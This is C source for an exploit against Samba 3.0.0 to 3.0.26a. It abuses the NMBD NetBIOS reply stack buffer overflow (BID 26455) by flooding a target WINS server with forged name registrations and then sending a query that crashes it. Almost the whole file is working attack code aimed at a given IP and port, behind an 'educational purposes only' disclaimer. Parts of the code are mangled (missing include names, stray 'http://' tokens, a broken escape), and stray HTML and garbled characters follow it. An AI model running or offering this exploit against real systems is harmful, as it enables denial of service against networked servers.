/* Samba 3.0.0 to 3.0.26a DOS and remote code execution. Samba NMBD_Packets.C NetBIOS Replies Stack-Based Buffer Overflow http://www.securityfocus.com/bid/26455 Author: Gill Bates, molnar_rcs@yahoo.com For educational purposes only. The author is not responsable for any harm done using this code. Remote code execution is almost impossible to exploit. Samba will overwrite the stack with multiples of 6 bytes: Byte 1-2: the NM_FLAGS Byte 3-6: the IP registered Byte 1 can only take values: 0x00, 0x20, 0x40, 0x60 Byte 2 in the response will always be 0x00 A sample response ----------------- 40 00 c8 a8 00 91 40 00 c8 a8 00 a4 40 00 c8 a8 00 82 40 00 c8 a8 00 95 40 00 c8 a8 00 23 40 00 c8 a8 00 d3 40 00 c8 a8 00 45 40 00 c8 a8 00 be 40 00 c8 a8 00 0e 40 00 c8 a8 00 30 40 00 c8 a8 00 ab 40 00 c8 a8 00 c1 40 00 c8 a8 00 cc 40 00 c8 a8 00 33 40 00 c8 a8 00 f7 Return to libc is also hard or impossible to achieve under these conditions. And since most distros come with 2.6.x kernels along with the vulnerable samba versions and these kernels use stack randomizations, gaining unauthorized remote access is highly improbable. */ #include #include #include #include #include #include #include #include #ifndef bool #define bool unsigned char #endif #ifndef false #define false 0 #endif #ifndef true #define true 1 #endif // function definitions void Usage(const char * pAppName); // print usage void EncodeByte(char cAscii, char * pOutBuff); // encode characters in netbios name code void SendRequest( int nSd ); // send a netbios packet bool FillTargetList(int nSd, unsigned int nPacketCount); // fills target samba wins list with 96 <1b> names void GenRandName(char * szName); // generate a 16 byte random name //------------------------------------------------------------------------------------------------ void Usage(const char * pAppName) { printf("Usage: %s \n", pAppName); printf("Example: %s 192.168.0.2 137 250\n", pAppName); } //------------------------------------------------------------------------------------------------ //pOutBuff must hold at least 2 bytes void EncodeByte(char cAscii, char * pOutBuff) { if(pOutBuff != 0L) { //make upper cAscii = toupper(cAscii); switch(cAscii) { case 'A' : memcpy( pOutBuff, "\x45\x42", 2); break; case 'B' : memcpy( pOutBuff, "\x45\x43", 2); break; case 'C' : memcpy( pOutBuff, "\x45\x44", 2); break; case 'D' : memcpy( pOutBuff, "\x45\x45", 2); break; case 'E' : memcpy( pOutBuff, "\x45\x46", 2); break; case 'F' : memcpy( pOutBuff, "\x45\x47", 2); break; case 'G' : memcpy( pOutBuff, "\x45\x48", 2); break; case 'H' : memcpy( pOutBuff, "\x45\x49", 2); break; case 'I' : memcpy( pOutBuff, "\x45\x4A", 2); break; case 'J' : memcpy( pOutBuff, "\x45\x4B", 2); break; case 'K' : memcpy( pOutBuff, "\x45\x4C", 2); break; case 'L' : memcpy( pOutBuff, "\x45\x4D", 2); break; case 'M' : memcpy( pOutBuff, "\x45\x4E", 2); break; case 'N' : memcpy( pOutBuff, "\x45\x4F", 2); break; case 'O' : memcpy( pOutBuff, "\x45\x50", 2); break; case 'P' : memcpy( pOutBuff, "\x46\x41", 2); break; case 'Q' : memcpy( pOutBuff, "\x46\x42", 2); break; case 'R' : memcpy( pOutBuff, "\x46\x43", 2); break; case 'S' : memcpy( pOutBuff, "\x46\x44", 2); break; case 'T' : memcpy( pOutBuff, "\x46\x45", 2); break; case 'U' : memcpy( pOutBuff, "\x46\x46", 2); break; case 'V' : memcpy( pOutBuff, "\x46\x47", 2); break; case 'W' : memcpy( pOutBuff, "\x46\x48", 2); break; case 'X' : memcpy( pOutBuff, "\x46\x49", 2); break; case 'Y' : memcpy( pOutBuff, "\x46\x4A", 2); break; case 'Z' : memcpy( pOutBuff, "\x46\x4B", 2); break; case '0' : memcpy( pOutBuff, "\x44\x41", 2); break; case '1' : memcpy( pOutBuff, "\x44\x42", 2); break; case '2' : memcpy( pOutBuff, "\x44\x43", 2); break; case '3' : memcpy( pOutBuff, "\x44\x44", 2); break; case '4' : memcpy( pOutBuff, "\x44\x45", 2); break; case '5' : memcpy( pOutBuff, "\x44\x46", 2); break; case '6' : memcpy( pOutBuff, "\x44\x47", 2); break; case '7' : memcpy( pOutBuff, "\x44\x48", 2); break; case '8' : memcpy( pOutBuff, "\x44\x49", 2); break; case '9' : memcpy( pOutBuff, "\x44\x4A", 2); break; case ' ' : memcpy( pOutBuff, "\x43\x41", 2); break; case '!' : memcpy( pOutBuff, "\x43\x42", 2); break; case '"' : memcpy( pOutBuff, "\x43\x43", 2); break; case '#' : memcpy( pOutBuff, "\x43\x44", 2); break; case '$' : memcpy( pOutBuff, "\x43\x45", 2); break; case '%' : memcpy( pOutBuff, "\x43\x46", 2); break; case '&' : memcpy( pOutBuff, "\x43\x47", 2); break; case '\'' : memcpy( pOutBuff, "\x43\x48", 2); break; case '(' : memcpy( pOutBuff, "\x43\x49", 2); break; case ')' : memcpy( pOutBuff, "\x43\x4A", 2); break; case '*' : memcpy( pOutBuff, "\x43\x4B", 2); break; case '+' : memcpy( pOutBuff, "\x43\x4C", 2); break; case ',' : memcpy( pOutBuff, "\x43\x4D", 2); break; case '-' : memcpy( pOutBuff, "\x43\x4E", 2); break; case '.' : memcpy( pOutBuff, "\x43\x4F", 2); break; case '=' : memcpy( pOutBuff, "\x44\x4E", 2); break; case ':' : memcpy( pOutBuff, "\x44\x4B", 2); break; case ';' : memcpy( pOutBuff, "\x44\x4C", 2); break; case '@' : memcpy( pOutBuff, "\x45\x41", 2); break; case '^' : memcpy( pOutBuff, "\x46\x4F", 2); break; case '_' : memcpy( pOutBuff, "\x46 50", 2); break; case '{' : memcpy( pOutBuff, "\x48\x4C", 2); break; case '}' : memcpy( pOutBuff, "\x48\x4E", 2); break; case '~' : memcpy( pOutBuff, "\x48\x4F", 2); break; default: memcpy( pOutBuff, "\x45\x42", 2); break; // fill with A } } } //------------------------------------------------------------------------------------------------ // sName must be at least 16 bytes long void GenRandName(char * szName) { if(szName != 0L) { int i = 0; for(i = 0; i < 15; i++) { szName[i] = 65 + rand() % 15;//33 + rand() % 93; // tanform space to A if it's the case if(szName[i] == 0x20) szName[i] = 0x41; } szName[15] = 0x0; } } //------------------------------------------------------------------------------------------------ void MakeNetbiosName(const char * szName, char * szNetbiosName) { if(szName != 0L && szNetbiosName != 0L) { const char * pWorker = szName; int nLen = 0; while(*pWorker != 0x0 && nLen < 15) { EncodeByte(*pWorker, szNetbiosName); nLen++; pWorker++; szNetbiosName += 2; } } } //------------------------------------------------------------------------------------------------ void SendRequest( int nSd ) { //!query const unsigned char * sPacket = "\x54\xd2" //!2 ID "\x01\x00" //!2 FLAGS - query "\x00\x01" //!2 QUERIES "\x00\x00" //!2 ANSWERS "\x00\x00" //!2 AUTHORITHY RRS "\x00\x00" //!2 ADDITIONAL RRS //!Total 12 // QUERY LIST //! Query (38 BYTES) "\x20" // host start "\x43\x4B\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" // netbios host name "\x42\x4C" // host type "\x00" // end "\x00\x20"http://TYPE NB "\x00\x01"http://CLASS IN ; printf("[+] Sending query request ..."); write(nSd, sPacket, 50); printf(" done!\n"); } //------------------------------------------------------------------------------------------------ bool FillTargetList(int nSd, unsigned int nPacketCount) { // this is the original packet const unsigned char * sPacket = "\x00\x00" //ID "\x79\x00" //FLAGS "\x00\x01" //QUERIES "\x00\x00" //ANSWERS "\x00\x00" //AUTHORITHY RRS "\x00\x01" //ADDITIONAL RRS "\x20" // host start //!invalid host name (32 bytes from offset 0Dh - 2Dh) "\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" // netbios host name "\x42\x4C" // host type "\x00" // end "\x00\x20"http://TYPE NB "\x00\x01"http://CLASS IN //Additional RRS "\xc0\x0c" "\x00\x20"http://TYPE NB "\x00\x01"http://CLASS IN "\x00\x00\x00\x78" //TTL "\x00\x06" // DATA Length "\x40\x00" // NB FLAGS "\xC8\xA8\x00\x00" // NB ADDRESS 192.168.x.x ; //Total length 68 bytes // In order to fill up the reply buffer we need 96 netbios names with <1b> address on target machine unsigned char szWorkerPacket[68]; int i = 0; unsigned char nIpNet = 0, nIpHost = 0; unsigned short nIdBase = rand(); char szName[16], szNbName[31]; szNbName[30] = 0x0; // just for printing purposes set term byte to 0x00 printf("[*] Sending %u packets, sleeping 3 seconds after 32 packets sent\n", nPacketCount); printf("-> "); fflush(stdout); for(i = 0; i < nPacketCount; i++) { // copy packet template memcpy(szWorkerPacket, sPacket, 68); // insert 2 byte id at offset 00h memcpy(szWorkerPacket, &nIdBase, 2); nIdBase++; // gen rand name GenRandName(szName); // tanslate into netbios format MakeNetbiosName(szName, szNbName); // insert name into the packet at offset 0D memcpy(szWorkerPacket + 0x0D, szNbName, 0x1E); // insert IP network part at offset 42h nIpNet = i / 255; memcpy(szWorkerPacket + 0x42, &nIpNet, 0x01); // insert IP host part at offset 43h, use value of i nIpHost = i % 255; memcpy(szWorkerPacket + 0x43, &nIpHost, 0x01); // increment id nIdBase++; //!Packet ready, lets send write(nSd, szWorkerPacket, 68); if((i + 1) % 32 == 0) { printf("."); fflush(stdout); } } printf("\n[*] Done, sent %u packets\n", nPacketCount); fflush(stdout); } //------------------------------------------------------------------------------------------------ int main(int argc, char **argv) { if(argc < 3) { Usage(argv[0]); return -1; } const char * pHostName = argv[1]; unsigned int nPort = atoi(argv[2]); struct hostent *pHost = gethostbyname(pHostName); if(pHost == 0L) { printf("Invalid host/ip: %s\n", pHostName); } int nSD = socket(AF_INET, SOCK_DGRAM, 0); struct sockaddr_in sin; memcpy(&sin.sin_addr.s_addr, pHost->h_addr, pHost->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(nPort); printf("[*] Connecting to -> %s # port -> %u\n", pHost->h_name, nPort); fflush(stdout); fflush(stderr); if (connect(nSD, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("[-] Connecting"); exit(1); } else { // Connected printf("[+] Connected....\n"); sleep(1); FillTargetList(nSD, atoi(argv[3])); SendRequest(nSD); close(nSD); } }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß